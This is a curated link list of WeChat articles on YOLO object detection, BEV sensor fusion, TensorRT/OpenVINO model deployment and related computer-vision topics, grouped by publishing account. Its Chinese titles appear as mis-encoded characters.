- [2022-12-23๏ผ้็จๅฐ็ฎๆ Trick | ๆทฑๅบฆๅญฆไน ๆฃๆตๅฐ็ฎๆ ๅธธ็จๆนๆณ็็น](https://mp.weixin.qq.com/s/WRVjub3ePxWoCBQXKhS__w)
- [2023-01-12๏ผ็บฏ้ไบง็ป้ช | ่ฐ่ฐ็ฎๆ ๆฃๆตไธญๆญฃ่ดๆ ทๆฌ็้ฎ้ข](https://mp.weixin.qq.com/s/esGe2o3_pPXUlrysZoCQKQ)
- [2023-05-15๏ผๆๆฐ๏ผ่ชๅจ้ฉพ้ฉถไธญ็จไบ็ฎๆ ๆฃๆตๅ่ฏญไนๅๅฒ็Radar-Camera่ๅ็ปผ่ฟฐ](https://mp.weixin.qq.com/s/EHTXisVDv7SV4UEbo7sdbQ)
- [2023-05-19๏ผ25FPS๏ผ่ฑไผ่พพ้ฆๅBEVFusion้จ็ฝฒๆบไปฃ็ ๏ผ่พน็ผ็ซฏๅฎๆถ่ฟ่ก๏ผ๏ผ๏ผ](https://mp.weixin.qq.com/s/79DskdwwSghyldvQF43l6A)
- [2023-05-21๏ผไฟๅง็บงๅผๆบๆ็จ | ๆๆๆๆไฝ ้จ็ฝฒFreeYOLO](https://mp.weixin.qq.com/s/AhPaSVl2Gh8zWtJ74IUyzw)
- [2023-05-29๏ผๆๆฐSOTA๏ผBEVFusion4D๏ผBEVFusionๅ็บง็3Dๆฃๆตๆถ็ฉบๆฐๆกๆถ๏ผ](https://mp.weixin.qq.com/s/i3lLadD3_Q5RX5D0JUocPQ)
- [2023-06-04๏ผไธๅญ้ฟๆ | TransformerๅจBEVใ2D/3Dๆฃๆตไธ็ๅบ็จใ้ๅไธๅ ้๏ผ](https://mp.weixin.qq.com/s/sEWfs2C62cuThZBXSM0fZA)
- [2023-06-15๏ผๅ
จๆๅฎ๏ผๅบไบTensorRT็CNN/Transformer/ๆฃๆต/BEVๆจกๅๅๅคง้จ็ฝฒไปฃ็ +CUDAๅ ้๏ผ](https://mp.weixin.qq.com/s/WjBvj6hCWEYs7IL9DlrK2Q)
- [2023-08-23๏ผๆจกๅ้จ็ฝฒ๏ผไปๅนด็้ฆ้ฅฝ้ฅฝ๏ผTensorRT่ฏฆ็ปๅ
ฅ้จๆๅ](https://mp.weixin.qq.com/s/KsPb80tf_zxPyP0xu8ZmHA)
- [2024-01-10๏ผYOLO่ฟๅBEVๆ็ฅ๏ผYOLO+BEVๅจๅฎๆถๆฃๆตไธ็ๅฐ่ฏ](https://mp.weixin.qq.com/s/8pceyAzzGvwKNnRE9OJEOA)
- ๅพฎไฟกๅ
ฌไผๅทใCVHubใ
- [2023-01-07๏ผ็ฐไปฃ็ฎๆ ๆฃๆตๆ
ไบ | 40+็ง็ฝ็ปๆถๆๅคง็็น๏ผไปๅบ็กๆถๆResNetๅฐๆๅผบๆฃๆตๅจYolov7ๅๅฐๆๆฐ้จ็ฝฒ็ฅๅจGhostNetV2](https://mp.weixin.qq.com/s/22rRzyZj93-Y4msYwa_LKQ)
- [2023-02-19๏ผ้ฟ้ๅข้ๆฐไฝ | ๆข่ฎจ YOLOv5 ็้ซๆ่ฟ้ถไน่ทฏ๏ผ](https://mp.weixin.qq.com/s/B0yHtFMTO5gwt0B-ra18QA)
- [2023-05-05๏ผ่ถ
ๅผบ็ฎๆ ๆฃๆตๅจ RT-DETR | Python/C++ ไฟๅง็บง้จ็ฝฒๆ็จ๏ผไปๅ
ฅ้จๅฐ็ฒพ้](https://mp.weixin.qq.com/s/W56LHZbZEqqoCPFVf612FA)
- [2023-06-04๏ผไธญ็ง้ขไธๅบ้กถๅ TCSVT 2023 | DIAL-Filters: ๆพ่ๆๅๆจก็ณๅค่งๅบๆฏไธ็ๆฃๆตๅๅๅฒๆง่ฝ๏ผ](https://mp.weixin.qq.com/s/qPbxjDuPOFSD2zsWAGmLQw)
- [2023-07-12๏ผๅ่ชๆฐไฝ | Q-YOLO: ๅบไบ TensorRT ๅ OpenVIVO ็็ฎๆ ๆฃๆต้ๅๅฎๆๆนๆก](https://mp.weixin.qq.com/s/Us7IiYXFtUoQJ6btpcG1lw)
- [2023-07-30๏ผๅคง่ฟ็ๅทฅ่ๅ้ฟ้่พพๆฉ้ขๅๅธHQTrack | ้ซ็ฒพๅบฆ่ง้ขๅค็ฎๆ ่ท่ธชๅคงๆจกๅ](https://mp.weixin.qq.com/s/Jl2mr7tszulZX19Fx4ZNgw)
- ๅพฎไฟกๅ
ฌไผๅทใไบบๅทฅๆบ่ฝๆ็ฅไฟกๆฏๅค็็ฎๆณ็ ็ฉถ้ขใ
- [2023-06-15๏ผๆน่ฟYOLOV5ๅฐ็ฎๆ ๆฃๆตไนVisDrone2019ๆฐๆฎ้](https://mp.weixin.qq.com/s/GJza38BBYTl6XAWiiEzpHA)
- [2023-06-16๏ผๆน่ฟYOLOV5ๅฐ็ฎๆ ๆฃๆตไนๆฐๆฎ้ขๅค็ไนไธ](https://mp.weixin.qq.com/s/BXueTqerYFtGg9MOhJ7YYA)
- [2023-06-17๏ผๆน่ฟYOLOV5ๅฐ็ฎๆ ๆฃๆตไนๆฐๆฎ้ขๅค็ไนไบ](https://mp.weixin.qq.com/s/NblhcYo-JWZuJkMS5015sw)
- [2023-06-22๏ผๆน่ฟYOLOV5ๅฐ็ฎๆ ๆฃๆตๆถ่ๅฎ้ชไนไธ](https://mp.weixin.qq.com/s/3_03EmF0wo4hmbes5o37NQ)
- [2023-06-23๏ผๆน่ฟYOLOV5ๅฐ็ฎๆ ๆฃๆตๆถ่ๅฎ้ชไนไบ](https://mp.weixin.qq.com/s/iEEGkLFICJT03kXWQwR_sA)
- [2023-07-04๏ผๅบไบๆน่ฟYOLOv5ๅๅฏๅๅฝขๅท็งฏ็ๆฐดไธ็พคไฝ็ฎๆ ๆฃๆตๆฆ่ฟฐไนไธ](https://mp.weixin.qq.com/s/ZIH6Y1d6yeUV-zE6AnEvuQ)
- [2023-07-05๏ผๅบไบๆน่ฟYOLOv5ๅๅฏๅๅฝขๅท็งฏ็ๆฐดไธ็พคไฝ็ฎๆ ๆฃๆตๆฆ่ฟฐไนไบ](https://mp.weixin.qq.com/s/ptkTsyG2_mOFb6lGUCSkVA)
- [2023-07-07๏ผYOLOV5็ฎๆณๆน่ฟไน่ช้ๅบ้ๅผๆจกๅ](https://mp.weixin.qq.com/s/XSBtVbtcQTrMf13E_HEeWw)
- [2023-07-10๏ผๆน่ฟYOLOV5็ฎๆณไนไธๅๆฐๆฎ้ๆต่ฏ](https://mp.weixin.qq.com/s/-0ZsO9D4o4UXuIy_a2gt0w)
- [2023-07-11๏ผๆน่ฟYOLOV5็ฎๆณไธๅ็ฑป็ฎๆณ็ๆฏ่พ](https://mp.weixin.qq.com/s/KIxhlNBuTnCLnqzKqD_GPA)
- [2023-07-12๏ผๆน่ฟYOLOV5่ช้ๅบ้ๅผๆจกๅๅฎ้ชๅๆ ](https://mp.weixin.qq.com/s/WffWRa6MzaRN4oMF3BvOWg)
- [2023-07-15๏ผKAYOLO็ฝ็ปๆจกๅ](https://mp.weixin.qq.com/s/rYrdJPHYE57Kc8QzVDxUfg)
- [2023-07-19๏ผYolov8n-IOUๆๅคฑๅฝๆฐ็ๆน่ฟ](https://mp.weixin.qq.com/s/x1WRIC9MNQWMTup9XHkwWg)
- [2023-07-26๏ผYOLOV7็ฎๆณๅ็](https://mp.weixin.qq.com/s/KnLwHIWqespSxO0v82cJ3A)
- [2023-07-30๏ผFlask ้จ็ฝฒ YOLOV5](https://mp.weixin.qq.com/s/9dwrXEAi5tht4-tNyZ4tYw)
- [2023-08-13๏ผ็ฎๆ ๆฃๆต็ฎๆณ็ๅบ็จ](https://mp.weixin.qq.com/s/cX1WlVJqDNePZW18Jlf_Kg)
- ๅพฎไฟกๅ
ฌไผๅทใOneFlowใ
- [2022-12-13๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโ ๏ผ็ฝ็ป็ปๆ้่กไปฃ็ ่งฃ่ฏป](https://mp.weixin.qq.com/s/qfZIKgBdHNwPDp5ng0Y_Qw)
- [2022-12-22๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโก๏ผๅฆไฝๅถไฝ่ฎญ็ปๆๆๆดๅฅฝ็ๆฐๆฎ้](https://mp.weixin.qq.com/s/t4Ppf2qokpClRwCN52zF-g)
- [2023-02-02๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโข๏ผๆดๅฟซๆดๅฅฝ็่พน็ๆกๅๅฝๆๅคฑ](https://mp.weixin.qq.com/s/LIOnJqJj_GrpakKbLeWEDQ)
- [2023-02-17๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโฃ๏ผ็ฎๆ ๆฃๆตๆจกๅ็ฒพ็กฎๅบฆ่ฏไผฐ](https://mp.weixin.qq.com/s/nvfAU6TwTDoZhF8zFpCaOw)
- [2023-02-24๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโค๏ผ่ฎก็ฎmAP็จๅฐ็Numpyๅฝๆฐ่ฏฆ่งฃ](https://mp.weixin.qq.com/s/ag7PkcRRSTppEG0GOysqpg)
- [2023-03-09๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโฅ๏ผๆจกๅ่ฎญ็ปๆต็จ่ฏฆ่งฃ](https://mp.weixin.qq.com/s/RriWDozw7ZHTBg7Rr38dNw)
- [2023-05-23๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโฆ๏ผไฝฟ็จๆจกๅ่ๅๆๅmAPๅmAR](https://mp.weixin.qq.com/s/6PjD5k5o1GQO8v7jIydZ_w)
- [2023-05-23๏ผYOLOv5ๅ
จ้ข่งฃๆๆ็จโง๏ผๅฐ่ฎญ็ปๅฅฝ็YOLOv5ๆ้ๅฏผไธบๅ
ถๅฎๆกๆถๆ ผๅผ](https://mp.weixin.qq.com/s/4yiN7JZrvAvMi4m5eusbMw)
- ๅพฎไฟกๅ
ฌไผๅทใAIWalkerใ
- [2023-03-29๏ผChatGPTๆฏๅฆไฝ็ๅพ
YOLO็ณปๅ็ฎๆณ็่ดก็ฎๅข๏ผ~ๅๅ~ ](https://mp.weixin.qq.com/s/E-TNeTKK5EV70zAenRVbwQ)
- [2023-05-07๏ผYOLO-NAS | YOLOๆฐ้ซๅบฆ๏ผๅผๅ
ฅNAS๏ผๅบไบYOLOv8่ไผไบYOLOv8](https://mp.weixin.qq.com/s/FsWSRguAn2WZKtmPhMbc6g)
- [2023-05-16๏ผๅ
จ็ฝๅฏไธๅค็ฐ๏ผๆๆบ็ซฏ 1ms ็บงๅปถ่ฟ็ไธปๅนฒ็ฝๆจกๅ MobileOne](https://mp.weixin.qq.com/s/Wk1sHIQKUe01PqMnpzcCfQ)
- [2023-08-15๏ผๅๅผๅคงๅญฆๆๅบYOLO-MS | ่ถ
่ถYOLOv8ไธRTMDet๏ผๅณๆๅณ็จๆ็ ดๆง่ฝ็ถ้ข](https://mp.weixin.qq.com/s/FfG9vNM_a2k_zflWfuimsw)
- [2024-02-19๏ผU็YOLO-Worldๆฅไบ๏ผYOLOv8ๅๅบฆๅ็บง๏ผไธ่กไปฃ็ ไธๆYOLO-World](https://mp.weixin.qq.com/s/yepStVzyrOE4MsgFFuwo0Q)
- [2024-02-23๏ผYOLOv9ๆฅไบ๏ผๅฏ็ผ็จๆขฏๅบฆไฟกๆฏไธๅนฟไน้ซๆๅฑ่ๅ็ฝ็ป ๅฉๅๅ
จๆฐๆฃๆตSOTAๅๆฒฟ](https://mp.weixin.qq.com/s/tFavH5_Sqtnq1_NMRt_AUg)
- ๅพฎไฟกๅ
ฌไผๅทใ่ฃ่ฃ็ฟๆฏไธชๆปๅ็ฎใ
- [2023-03-20๏ผไธๅญ้ฟๆ่งฃๆResnet50็็ฎๆณๅ็](https://mp.weixin.qq.com/s/pA86udkaFzCogi2Qw8vBEA)
- [2023-04-17๏ผไธๅญ้ฟๆๅ
ฅ้จ็ฅ็ป็ฝ็ป็กฌไปถๅ ้](https://mp.weixin.qq.com/s/3aNVGIPf5pLzEv67KI8M5w)
- [2023-04-19๏ผCUDAๅท็งฏ็ฎๅญๆๅ่ฏฆ็ปๅฎ็ฐ](https://mp.weixin.qq.com/s/VlrglazJE54Xnm3tjM0uCg)
- ๅพฎไฟกๅ
ฌไผๅทใ่ฎก็ฎๆบ่ง่งๆผซ่ฐใ
- [2020-02-22๏ผYOLO v3ๅฎๆไน้ข็ญๆฐ้AI่ฏๅซ๏ผไธ๏ผ](https://mp.weixin.qq.com/s/EElv2Tc73JKS8jpejEGB1w)
- [2020-03-07๏ผYOLO v3ๅฎๆไน้ข็ญๆบ่ฝ่ฏๅซๆน่ฟๆนๆกๅไบซ๏ผไบ๏ผ](https://mp.weixin.qq.com/s/lOeRqD2orcLw5FR496r4uw)
- ๅพฎไฟกๅ
ฌไผๅทใๆบ้ ๆ
ๆฅๅฑใ
- [2022-11-07๏ผ้กน็ฎๅฎๆ๏ผๅบไบyolov5็PCB่กจ้ข็ผบ้ทๆฃๆตใ้ๅฎๆดไปฃ็ ใ](https://mp.weixin.qq.com/s/IzMabvYts2BEa5IvAwUfrg)
- ๅพฎไฟกๅ
ฌไผๅทใๅญฆๅงๅธฆไฝ ็ฉAIใ
- [2022-11-21๏ผYOLOv5+Tesseract-OCR ๅฎ็ฐ่ฝฆ็ๅทๆๆฌ่ฏๅซใๅฎๆใ](https://mp.weixin.qq.com/s/52Woexamu697tozevSiyQQ)
- ๅพฎไฟกๅ
ฌไผๅทใ้ๅญไฝใ
- [2023-01-12๏ผYOLOv8ๅทฒ่ณ๏ผ็ฒพๅบฆๅคงๆถจ๏ผๆไฝ ๅฆไฝๅจ่ชๅฎไนๆฐๆฎ้ไธ่ฎญ็ปๅฎ](https://mp.weixin.qq.com/s/_ccYfjWm6CsH_vxpACUWEA)
- ๅพฎไฟกๅ
ฌไผๅทใ็ฌๅฒ็ฎๆณๆฑๆนใ
- [2023-02-08๏ผไปฃ็ ๅฎๆ๏ผYOLOv5ๅฎ็ฐ้ขๆ่กจ้ข็ผบ้ทๆฃๆต](https://mp.weixin.qq.com/s/i_bF6_77MxKqEy7-y7LQdQ)
- ๅพฎไฟกๅ
ฌไผๅทใOpenCVไธญๆ็ฝใ
- [2023-04-07๏ผYOLOv8 ๅ
จๅฎถๆกถๅ่ฟๆฐๆๅ๏ผๆฐๅขPose Estimationๆจกๅ!](https://mp.weixin.qq.com/s/wF93AAVnGsQtHdB-DkSTPQ)
- ๅพฎไฟกๅ
ฌไผๅทใๆทฑๅบฆๅญฆไน ไธ่ฎก็ฎๆบ่ง่งใ
- [2023-03-28๏ผไฝฟ็จ YOLO ่ฟ่ก็ฎๆ ๆฃๆต๏ผๅฆไฝๆๅไบบ็ฉๅพๅ](https://mp.weixin.qq.com/s/vthdOoy3etZmybMLaGzoFg)
- ๅพฎไฟกๅ
ฌไผๅทใๆบๅจๅญฆไน ็ฎๆณๅทฅ็จๅธใ
- [2023-04-19๏ผๆๅไบ๏ผๅบไบTransformer็ๆฃๆตๆจกๅRT-DETR็ซ็ถๆฏYOLO่ฟๅฟซ๏ผ](https://mp.weixin.qq.com/s/wgBaZ-CTB7B4nvYnobMDvw)
- ๅพฎไฟกๅ
ฌไผๅทใ่ฎก็ฎๆบ่ง่งไธๆบๅจๅญฆไน ใ
- [2023-04-19๏ผRT-DETR | ๅๆYOLO็ณปๅ็ DETR้จ็ฝฒๆ็จๆฅๅฆ๏ผไผ้
่็ฎๆด๏ผ](https://mp.weixin.qq.com/s/oflfbPkhj3ka2ExK7ZZ0VA)
- [2023-05-16๏ผ่ถ
ๅผบ็ฎๆ ๆฃๆตๅจ RT-DETR | Python/C++ ไฟๅง็บง้จ็ฝฒๆ็จ๏ผไปๅ
ฅ้จๅฐ็ฒพ้](https://mp.weixin.qq.com/s/XwmQILnaLtWPfo-dysLeAA)
- ๅพฎไฟกๅ
ฌไผๅทใไบบๅทฅๆบ่ฝๅๆฒฟ่ฎฒไน ใ
- [2023-04-19๏ผใๆบๅคดๆดปๆฐดใCVPR 2023 | AbSViT๏ผๆฅๆ่ชไธ่ไธๆณจๆๅๆบๅถ็่ง่งTransformer](https://mp.weixin.qq.com/s/FtVd37tOXMfu92eDSvdvbg)
- ๅพฎไฟกๅ
ฌไผๅทใAI็งๆไธ็ฎๆณ็ผ็จใ
- [2023-04-11, YOLOv8 AS-One๏ผ็ฎๆ ๆฃๆตAS-One ๆฅไบ๏ผ๏ผYOLOๅฐฑๆฏๅๅฏๅ
ถๅฎ็ๅท็ไน็๏ผ](https://mp.weixin.qq.com/s/ofokLwCwgN1GNTqy3NuYmg)
- ๅพฎไฟกๅ
ฌไผๅทใๆทฑๅบฆๅญฆไน ไธNLPใ
- [2023-04-24๏ผ[ไธๅญๅนฒ่ดง]-ๅฆไฝ็ปๆจกๅๅ ๅ
ฅๅ
้ช็ฅ่ฏ๏ผ](https://mp.weixin.qq.com/s/RmM9ay4arJWBoNP11Bfbsw)
- ๅพฎไฟกๅ
ฌไผๅทใOpenCVไธAIๆทฑๅบฆๅญฆไน ใ
- [2023-04-23๏ผๅบไบ YOLOv8 ็่ชๅฎไนๆฐๆฎ้่ฎญ็ป](https://mp.weixin.qq.com/s/NrT7aFurdz5IRr3bCFsHQA)
- [2023-06-19๏ผไธๆๅฝปๅบๆๆYOLOv8ใ็ฝ็ป็ปๆ+ไปฃ็ +ๅฎๆใ](https://mp.weixin.qq.com/s/HldcdtBXzh5YawcS0Bb4KQ)
- [2023-07-04๏ผไฟๅงๆ็จ | YOLOv5ๅจๅปบ็ญๅทฅๅฐไธญๅฎๅ
จๅธฝไฝฉๆดๆฃๆต็ๅบ็จ](https://mp.weixin.qq.com/s/g6jEP5Y2R_DhrI30DBol5Q)
- [2024-06-05๏ผๅฎๆ | YOLOv10 ่ชๅฎไนๆฐๆฎ้่ฎญ็ปๅฎ็ฐ่ฝฆ็ๆฃๆต (ๆฐๆฎ้+่ฎญ็ป+้ขๆต ไฟๅง็บงๆ็จ)](https://mp.weixin.qq.com/s/3WSmGP7xdQJc-5YdQXBPFg)
- ๅพฎไฟกๅ
ฌไผๅทใๅตๅ
ฅๅผ่ง่งใ
- [2023-04-28๏ผๆทฑๅบฆๅญฆไน ๆจกๅๅ็ผฉๆนๆณๆฆ่ฟฐ](https://mp.weixin.qq.com/s/m4gZ1beM8QRzNegFPf3Mbg)
- [2023-05-12๏ผๆจกๅๅ็ผฉ-ๅชๆ็ฎๆณ่ฏฆ่งฃ](https://mp.weixin.qq.com/s/7BCQD1s_1AZJoowivTnxOg)
- ๅพฎไฟกๅ
ฌไผๅทใๆบๅจๅญฆไน ็ฎๆณ้ฃไบไบใ
- [2023-05-02๏ผlabelGo๏ผๅบไบ YOLOv5 ็่พ
ๅฉๆ ๆณจๅทฅๅ
ท](https://mp.weixin.qq.com/s/4EFTj6RxOCvX2Wn5euhSAQ)
- ๅพฎไฟกๅ
ฌไผๅทใไบบๅทฅๆบ่ฝๆๆฏไธๅจ่ฏขใ
- [2023-05-19๏ผๅบไบYOLOv5็ๅ
ๅญฆ้ฅๆๅพๅ่ฐ่น็ฎๆ ๆฃๆต็ฎๆณ](https://mp.weixin.qq.com/s/Mic_wLbfjQrtX7wLwW1SiA)
- [2023-06-06๏ผ้ขๅๅผน่ฝฝๅพๅ็ๆทฑๅบฆๅญฆไน ็ฝ็ปๅ็ผฉๆนๆณ็ ็ฉถ](https://mp.weixin.qq.com/s/pBXUnMpSmLg1BTDrJ19tgQ)
- ๅพฎไฟกๅ
ฌไผๅทใStrongerTangใ
- [2022-10-07๏ผ่ชๅจ้ฉพ้ฉถๅคๆจกๆ่ๅๆ็ฅ่ฏฆ่งฃ๏ผ็ ็ฉถ็ฐ็ถๅๆๆ๏ผ](https://mp.weixin.qq.com/s/g3KpWyc0QpLseN5-0CKySQ)
- ๅพฎไฟกๅ
ฌไผๅทใๅไบฌๅคงๅญฆ็้่ฎก็ฎๆบ็ ็ฉถๆใ
- [2022-10-12๏ผNeurIPS 2022 | ้ขๅ่ชๅจ้ฉพ้ฉถๅคๆจกๆๆ็ฅ็ๆฟๅ
้ท่พพ-็ธๆบ่ๅๆกๆถ](https://mp.weixin.qq.com/s/anth7mIqTGpJ4QWvTDbiSQ)
- ๅพฎไฟกๅ
ฌไผๅทใ่ฎก็ฎๆบ่ง่งๆทฑๅบฆๅญฆไน ๅ่ชๅจ้ฉพ้ฉถใ
- [2022-05-31๏ผBEVFusion: ๅบไบ็ปไธBEV่กจๅพ็ๅคไปปๅกๅคไผ ๆๅจ่ๅ](https://mp.weixin.qq.com/s/maKDU3sXbPxlEFz372qZTA)
- ๅพฎไฟกๅ
ฌไผๅทใๅ
ๆจๅSIRใ
- [2023-07-28๏ผ้ข็ป | ่ฎก็ฎๆบ่ง่ง ้ข็ป22](https://mp.weixin.qq.com/s/3pUMSOq4-eS2N7WNtbv02A)
- ๅพฎไฟกๅ
ฌไผๅทใๅคๆๅฑ
ใ
- [2023-07-06๏ผYOLOv5่ฎญ็ป่ชๅทฑ็ๆฐๆฎ้(่ถ
่ฏฆ็ป)](https://mp.weixin.qq.com/s/UshIczcC8l7eHNf2CSrMKw)
- ๅพฎไฟกๅ
ฌไผๅทใStreamlitใ
- [2023-05-18๏ผStreamlit+Opencvๆ้ ไบบ่ธๅฎๆถ่ฏๅซๅ่ฝ](https://mp.weixin.qq.com/s/I1HQ_E4UerZLkDT2-ch2SQ)
- ๅพฎไฟกๅ
ฌไผๅทใFightingCVใ
- [2022-08-17๏ผYOLOAir | ้ขๅๅฐ็ฝ็็ฎๆ ๆฃๆตๅบ๏ผๆดๅฟซๆดๆนไพฟๆดๅฎๆด็YOLOๅบ](https://mp.weixin.qq.com/s/smwx-Ievs3rWMw_D4lSwqg)
- [2023-07-29๏ผ่ชๅจ้ฉพ้ฉถๆฐๆนๆณ็ปNatureๅฐ้ข๏ผ่ฎฉ้ปๅคๅฆ็ฝๆผ่ฌๆธ
ๆฐ๏ผๆตๅคงๅๅฃซไธไฝ](https://mp.weixin.qq.com/s/bCUMjzc-Ws0_qjusFjM5Xw)
- ๅพฎไฟกๅ
ฌไผๅทใAILab็ฌ่ฎฐใ
- [2023-06-08๏ผใๆ็ฎใ่ง่งtransformer็ ็ฉถ่ฟๅฑโโๅฒไธๆๅ
จ็ปผ่ฟฐ](https://mp.weixin.qq.com/s/zCbFEl8pvPIfjnfIgv8Hqw)
- ๅพฎไฟกๅ
ฌไผๅทใCVerใ
- [2023-08-02๏ผICCV 2023๏ฝ็ฎๆ ๆฃๆตๆฐ็ช็ ด๏ผAlignDet๏ผๆฏๆๅ็ฑปๆฃๆตๅจๅฎๅ
จ่ช็็ฃ้ข่ฎญ็ป็ๆกๆถ](https://mp.weixin.qq.com/s/t7jlTyUP6UxplpythX0dOw)
- ๅพฎไฟกๅ
ฌไผๅทใๆ็ฑ่ฎก็ฎๆบ่ง่งใ
- [2023-06-09๏ผ[ๅฎ่ทต]YOLOv5ๆๅ10ๅๆจ็้ๅบฆ๏ผๅฉ็จTensorRT ๅจJetson NXไธ็ๆจกๅ้จ็ฝฒ](https://mp.weixin.qq.com/s/jWZuNKpVM4k5aDe2JmB-Tg)
- ๅพฎไฟกๅ
ฌไผๅทใ่ฑ็นๅฐ็ฉ่็ฝใ
- [2022-08-11๏ผๅบไบ OpenVINOโข๏ธ 2022.1 POT API ๅฎ็ฐ YOLOv5 ๆจกๅ INT8 ้ๅ | ๅผๅ่
ๅฎๆ](https://mp.weixin.qq.com/s/DTXVXwf_tPxwsWbSxBv9Sw)
- ๅพฎไฟกๅ
ฌไผๅทใๆฐๆฎ็งๅญฆไธAIใ
- [2023-06-22๏ผWin10็ฏๅขไธOpenVINO้จ็ฝฒYOLOv5ๆจกๅ๏ผไป็่ฎบๅฐๅฎ่ทต](https://mp.weixin.qq.com/s/v4y-vjsUrlow5EaP_VrF0A)
- ๅพฎไฟกๅ
ฌไผๅทใ้ญๅฐๅต็ฉAIใ
- [2023-06-22๏ผWin10็ฏๅขไธOpenVINO้จ็ฝฒYOLOv5ๆจกๅ๏ผไป็่ฎบๅฐๅฎ่ทต](https://mp.weixin.qq.com/s/v4y-vjsUrlow5EaP_VrF0A)
- [2023-09-04๏ผ่ถ
่ฏฆ็ป | ไฝฟ็จYolov8่ฎญ็ป่ชๅทฑ็ๆฐๆฎ้](https://mp.weixin.qq.com/s/KdoZnQArI95eWvqHMeqO0A)
- ๅพฎไฟกๅ
ฌไผๅทใ้ญๅฐๅต็ฉAIใ
- [2023-02-13๏ผๅฆไฝ็จOpenVINOโข่ฎฉYOLOv8่ทๅพ1000+ FPSๆง่ฝ๏ผ](https://mp.weixin.qq.com/s/CroC5jiTh6OXGtFUbWLZwQ)
- ๅพฎไฟกๅ
ฌไผๅทใAI่ง็ๅผๆใ
- [2023-08-20๏ผFast-BEV็CUDA่ฝๅฐ | 5.9msๅณๅฏๅฎ็ฐ็ฏ่งBEV 3Dๆฃๆต่ฝๅฐ๏ผไปฃ็ ๅผๆบ](https://mp.weixin.qq.com/s/ypL9_QYcCFjxpdF9CrS2dw)
- [2024-01-03๏ผShape-IoUๅผๆบ | ๅๆถๅ
ณๆณจBoxๅฝข็ถๅๅฐบๅฏธ๏ผๅฎ็พ่ถ
่ถSIoU/EIoU/CIoU็ญ๏ผYOLOๅๆ็ฆไบ](https://mp.weixin.qq.com/s/sDOtseu4icePW2oQObMoWQ)
- [2024-01-19๏ผYOLOv4ไธๅท็งฏๆณจๆๅไปฅๅViT็ปๅ็่ฟๅ็ๆฌYOLO-Former๏ผ็ฒพๅบฆ็จณๆญฅๆๅ๏ผ](https://mp.weixin.qq.com/s/N-5nYylqOTx7tEISJYOuuw)
- ๅพฎไฟกๅ
ฌไผๅทใๅฐ็ฝ็ฉ่ฝฌPythonใ
- [2023-12-22๏ผๅบไบ YOLOv8 ็็ฒๅณ็ถๆๆฃๆต | ้ๆบ็ ](https://mp.weixin.qq.com/s/L_-Ii5QvnGgJwo5WYSUcVg)
- [2024-01-22๏ผYOLO-NAS ๅฆไฝๅฐ YOLO-v8 ็ฉๅจ่บซๅ๏ผ](https://mp.weixin.qq.com/s/pc7TzlZSULNJwIS-liCdzg)
- ๅพฎไฟกๅ
ฌไผๅทใๆบๅจไนๅฟใ
- [2024-02-23๏ผ็ฎๆ ๆฃๆตๆฐSOTA๏ผYOLOv9้ฎไธ๏ผๆฐๆถๆ่ฎฉไผ ็ปๅท็งฏ้็็ๆบ](https://mp.weixin.qq.com/s/HFyADfWKkyw0TivsqH6kXA)
- ๅพฎไฟกๅ
ฌไผๅทใ็ ็งๆบ่ฝใ
- [2024-01-30๏ผๆจกๅ้จ็ฝฒ็ณปๅ๏ผ10x้ๅบฆๆๅ๏ผYoloV8็ฎๆ ๆฃๆตๆจกๅ็จ็ๅโCPUไธ่ถ
500FPS](https://mp.weixin.qq.com/s/cWRObjaRvL6RgabSdSxVBQ)
- [2024-02-19๏ผๅบไบYOLO-World+EfficientSAM็้ถๆ ทๆฌ็ฎๆ ๆฃๆตไธๅฎไพๅๅฒDemo](https://mp.weixin.qq.com/s/u4QBbOeNR48aF9YHWdCQsw)
- [2024-02-23๏ผYOLOv9ๆฅไบ! ๆๅผๆๅคฑๅฝๆฐๅ็ฝ็ป็ปๆ๏ผๆขไธชๅฏ็ผ็จๆขฏๅบฆไฟกๆฏ่งๅบฆ็ปง็ปญๅ็บง๏ผ็ฎๆ ๆฃๆตๆฐSOTA๏ผ](https://mp.weixin.qq.com/s/TAv_GY3d-tPOX9fKZNBwig)
- ๅพฎไฟกๅ
ฌไผๅทใ่ชๅจ้ฉพ้ฉถDailyใ
- [2024-02-23๏ผYOLOv9็ปไบๆฅไบ๏ผ่ฟ่ถ
็ฐๆๅฎๆถ็ฎๆ ๆฃๆตๅจ๏ผไฝฟ็จPGIๅญฆไฝ ๆณๅญฆ๏ผ](https://mp.weixin.qq.com/s/1i76NbtC5DD1lPMIMa9f8w)
- [2024-05-25๏ผYOLOv10ๆฅๅฆ๏ผ็ๆญฃๅฎๆถ็ซฏๅฐ็ซฏ็ฎๆ ๆฃๆต](https://mp.weixin.qq.com/s/xxgvub-Y4RJLjbpY6YNxCQ)
- ๅพฎไฟกๅ
ฌไผๅทใ3D่ง่งๅทฅๅใ
- [2024-02-23๏ผYOLOv9้ๆผๆฅ่ขญ๏ผไฝฟ็จๅฏ็ผ็จๆขฏๅบฆไฟกๆฏๅญฆไน ไฝ ๆณๅญฆไน ็ๅ
ๅฎน๏ผ](https://mp.weixin.qq.com/s/Fbd-jarVO4LyjlhdxgmnsA)
- ๅพฎไฟกๅ
ฌไผๅทใDeepDrivingใ
- [2023-07-21๏ผAIๆจกๅ้จ็ฝฒ | TensorRTๆจกๅINT8้ๅ็Pythonๅฎ็ฐ](https://mp.weixin.qq.com/s/IQTCUs8CcfgHxJCyV6cm3w)
- ๅพฎไฟกๅ
ฌไผๅทใCSharpไธ่พน็ผๆจกๅ้จ็ฝฒใ
- [2024-06-04๏ผไฝฟ็จ TensorRT C++ API ่ฐ็จGPUๅ ้้จ็ฝฒ YOLOv10 ๅฎ็ฐ 500FPS ๆจ็้ๅบฆโโๅฟซๅฐ้ฃ่ตท๏ผ๏ผ](https://mp.weixin.qq.com/s/yijeZtkRhbQxuSE1AsyUhA)
- ๅพฎไฟกๅ
ฌไผๅทใBestSongCใ
- [2024-05-24๏ผๅบไบYOLO็ณปๅ็ฎๆณ๏ผYOLOv5ใYOLOv6ใYOLOv8ไปฅๅYOLOv9๏ผๅStreamlitๆกๆถ็่กไบบๅคด็ๆฃๆต็ณป็ป](https://mp.weixin.qq.com/s/STAVjII8kAk3MMPbB9vJfQ)
